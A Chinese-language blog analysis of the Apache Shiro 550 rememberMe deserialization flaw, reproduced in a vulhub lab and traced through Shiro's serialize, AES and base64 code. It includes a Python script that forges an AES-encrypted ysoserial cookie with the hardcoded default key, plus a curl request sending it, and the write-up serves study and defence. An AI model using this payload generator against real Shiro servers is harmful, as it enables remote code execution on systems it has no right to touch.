Shiro550

环境搭建

参考:https://www.cnblogs.com/twosmi1e/p/14279403.html

使用Docker vulhub中的环境

  1. docker cp 将容器内的shiro的jar包copy出来 docker cp dd54fcfb67c6:/shirodemo-1.0-SNAPSHOT.jar ~/Desktop
  2. 解压jar包,IDEA打开,在libraries 导入该jar包
  3. modules 中添加解压后的jar中BOOT_INF目录
  4. 修改Docker File,添加远程调试端口
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8080:8080"
- "5005:5005"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar

漏洞复现

em没啥可复现的,github上相关工具一搜一大把,直接点点点就shell了。

漏洞分析

根据官方issue,可知该漏洞触发点位于CookieRememberMeManager类,对于Cookie的处理为rememberSerializedIdentity方法。

该方法会Base64 编码指定的序列化字节数组并将该 base64 编码的字符串设置为 cookie 值。

rememberSerializedIdentity

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

    if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
} HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject); //base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized); Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}

该方法在其继承类shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java 中被rememberIdentity方法调用,而rememberIdentity方法在onSuccessfulLogin方法中被调用。

rememberIdentity

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

onSuccessfulLogin

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject); //now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}

那么我们在onSuccessfulLogin方法下个断点,先正向看看rememberMe的生成过程。

onSuccessfulLogin 方法中首先对过期的身份做一个清除,之后进入if中isRememberMe方法,在该方法中对传入的token进行判断当满足以下条件:

  • token不为null
  • token属于RememberMeAuthenticationToken类型
  • UsernamePasswordToken 类中rememberMe 属性为true

才进入后续的rememberIdentity方法。

rememberIdentity方法中先调用getIdentityToRemember 方法获取用户登陆信息,如账号密码。之后调用rememberIdentity 方法

继续跟进,首先调用convertPrincipalsToBytes ,在convertPrincipalsToBytes 中将principals 作为参数调用serialize方法,该方法会返回一个byte数组,继续跟进

最终在DefaultSerializer#serialize对其序列化,并返回byte数组

回到convertPrincipalsToBytes 方法,后续对序列化之后生成的byte数组做了加密的操作,详细流程在AbstractRememberMeManager#encrypt 方法中:

首先获取加密模式,采用AES CBC

后续就是对其加密的详细操作了,这里不细说,AES加密时所需要的key默认在shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java文件中

对byte流进行AES加密完之后会跳出encrypt方法,返回一个加密后的byte数组

最终回到rememberIdentity 方法中,将AES加密后的数组作为参数带入rememberSerializedIdentity 方法。

rememberSerializedIdentity 方法中将序列化并进行AES加密后的byte数组再做一层base64编码,之后将其作为rememberMe的值添加到Cookie中

上面就是整个Shiro中生成rememberMe的流程,当勾选了rememberMe时,会对我们的登陆信息(在Shiro中是封装成了SimplePrincipalCollection 对象)进行 序列化 —> AES 加密 —> base64编码 之后赋值给rememberMe并添加到Cookie中。

那同样的,在AbstractRememberMeManager 类中会存在与生成rememberMe 完全相反的操作来反序列化rememberMe的值,我们拿py脚本生成一个rememberMe其中携带URLDNS的payload发过去。

生成rememberMe的py脚本

import base64
import uuid
import subprocess
from Crypto.Cipher import AES def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java','-jar','ysoserial.jar','URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key ="kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ =='__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u9az09.dnslog.cn')
with open("./payload.cookie","w") as fpw: print("rememberMe={}".format(payload.decode()))
res ="rememberMe={}".format(payload.decode())
fpw.write(res)

利用,将rememberMe的值更换为我们生成的payload,IDEA中在AbstractRememberMeManager#getRememberedPrincipals 方法下断点,Debug,发送请求。

curl -X GET -H "Cookie: rememberMe=wwiuvj1NScOJENeOYBHiARm4HiwgjL44snGK34CPVGSAX5OMvboBo7aZNGBkridDmRVJHK6blSXX6c4KJKhbTF0gMtfGskn3HkjNwzf/bebgLMnqqbBLlZo+uKdu68AbtTm0JReTwR9lp66f3D8u1nk/sAA78XrW5t9TSNUWV/KbT1439TjbuD9arJ5m+mDIJ7rHCwC0zPzey013aoBYeXjTN06XpBKyx5+W03akcFsECVWWRzX7osVVejjwmK+stUNgunmqbOmK5UepPJbFjWrBrXQZDpUYWeQHRgHXtM78ApQhMLuj/lwtjwgjN0nONiIaymx0G2MSXfWl1DumEqEZy" http://127.0.0.1:8080/doLogin

跟进getRememberedSerializedIdentity 方法

首先在getCookie().readValue(request, response) 中通过cookie.getValue() 拿到我们构造好的rememberMe的值

首先在ensurePadding()方法中对序列化数据进行是否符合base64编码规范的检查,之后对数据进行base64解码,返回解码后的结果。

回到getRememberedPrincipals 方法,将解码后的数据作为参数,调用convertBytesToPrincipals方法,继续跟进。

调用decrypt方法,对数据进行解密

流程与之前加密的过程类似,先获取CipherService 使用AES CBC解密数据,并将结果返回

回到convertBytesToPrincipals方法,调用deserialize

最终调用org/apache/shiro/io/DefaultSerializer#deserialize 进行反序列化。后续就是进入Gadget部分了

Shiro利用的难点

Shiro resolveClass()

这里首先要提一下resolveClass() 方法

resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

Shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStreamresolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass方法,采用的是ClassUtils.forName

代码如下,可以看到,参数类型为String,第一眼看上去是不可以传数组进去。在P师傅的漫谈中也提到了这个点,给出的结论是:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。所以也就无法利用CC1等链的后半段为Transformer数组的链了。

public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
} clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
} if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
} clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
} if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}

对于该问题的解决可参考wh1t3p1g师傅的这篇文章https://www.anquanke.com/post/id/192619

大概意思是依然可以用CC2、CC4,因为CC2、CC4没用到Transformer数组,包括后来衍生出来的CommonsCollectionsK1链。

而CC2和CC4详细内容可以看我之前的分析文章。

JRMP

而Orange师傅也提出了一种解决思路,可以用到JRMP去打,也是之前feihong工具中有提供的一种攻击手法,但是需要目标出网。

目前来看,大部分的工具用来打shiro基本够用了,现在感觉是shiro越来越少而且就算有很大一部分也是动态key...

CommonsBeanutils

这个在P师傅的安全漫谈中也提到过,Shiro自带CommonsBeanutils 1.8.3 所以可以用CB1和CB2去打,但利用CB1有些小问题。在yso中的CB链是1.9.2,所以会造成反序列化UID不一致导致利用不成功,需要改造一下CB链即可,因为没有对CB链进行分析,这里先鸽着,后续研究下感兴趣的师傅可以看P师傅的安全漫谈文章。

写在最后

官方对于Shiro这个问题的修复是将默认Key被移除了,改为动态Key(Shiro 1.2.5),但是反序列化问题依然存在。

包括在后续版本中(shiro1.4.2)将 AesCipherService 中的默认密码模式更新为 GCM(修复Shiro721)。

以及后续的Shiro各种权限绕过也有待研究。

调试有感:Eason 的歌yyds

Reference

java安全漫谈

https://www.cnblogs.com/nice0e3/p/14183173.html](https://www.cnblogs.com/nice0e3/p/14183173.html#解密)

https://p2hm1n.com/2020/12/03/Shiro550-反序列化漏洞分析/](https://p2hm1n.com/2020/12/03/Shiro550-反序列化漏洞分析

Apache Shiro 反序列化漏洞分析的更多相关文章

  1. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  2. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  3. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  4. Apache Shiro反序列化漏洞(Shiro550)

    1.漏洞原理: Shiro 是 Java 的一个安全框架,执行身份验证.授权.密码.会话管理 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rem ...

  5. 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)

    背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...

  6. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  7. Shiro 550反序列化漏洞分析

    Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

随机推荐

  1. 搞定 NodeJS 开发调试

    代码调试有时候是一种充满挑战的工作,如果有一个趁手的调试工具的话,往往可以做到事半功倍的效果.得益于这些年的快速发展,在 NodeJS 生态中已经有了多种调试工具可以使用.我们今年就来分享几个常用的调 ...

  2. 鸿蒙内核源码分析(定时器篇) | 哪个任务的优先级最高 | 百篇博客分析OpenHarmony源码 | v31.02

    百篇博客系列篇.本篇为: v31.xx 鸿蒙内核源码分析(定时器篇) | 哪个任务的优先级最高 | 51.c.h .o 本篇说清楚定时器的实现 读本篇之前建议先读鸿蒙内核源码分析(总目录)其余篇. 运 ...

  3. P4590-[TJOI2018]游园会【dp套dp】

    正题 题目链接:https://www.luogu.com.cn/problem/P4590 题目大意 给出一个长度为\(m\)的字符串\(s\). 对于每个\(k\in[0,m]\)求有多少个长度为 ...

  4. 解决导入MAVEN项目报错Dynamic Web Module 3.1 requires Java 1.7 or newer.

    解释:web模块需要使用java1.7及以后的版本,目前的版本不符合.因而只需要修改java版本到1.7及以上即可. 解决方法: 1.保证 在eclipse 构建 web中关于java版本有三处需要修 ...

  5. Winform配置文件读写操作

    前言 在项目当中为了增加软件的灵活性及可配置性,配置文件在程序当中起着不可替代的作用.下面介绍一下最近用的比较多的方式. config文件的操作 数据库连接字符串 1.获取连接字符串 public s ...

  6. 4.自定义类加载器实现及在tomcat中的应用

    了解了类加载器的双亲委派机制, 也知道了双亲委派机制的原理,接下来就是检验我们学习是否扎实了,来自定义一个类加载器 一. 回顾类加载器的原理 还是这张图,类加载器的入口是c++调用java代码创建了J ...

  7. centos6.5 oracle 卸载

    1.使用SQL*PLUS停止数据库 [oracle@OracleTest oracle]$ sqlplus / as sysdba SQL> shutdown immediate; SQL> ...

  8. dbus客户端使用指南

    DBus是Linux使用的进程间通信机制,允许各个进程互相访问,而不需要为每个其他组件实现自定义代码.即使对于系统管理员来说,这也是一个相当深奥的主题,但它确实有助于解释linux的另一部分是如何工作 ...

  9. .Net Core 获取上下文HttpContext

    1.先定义一个类 using Microsoft.AspNetCore.Http; namespace BCode.Util { public class MvcContext { public st ...

  10. 题解 「BZOJ2178」圆的面积并

    题目传送门 题目大意 给出 \(n\) 个圆,求它们并的面积大小. \(n\le 10^3\) 思路 如果您不会自适应辛普森法,请戳这里学习 其实我们发现,如果我们设 \(f(x)\) 表示 \(x= ...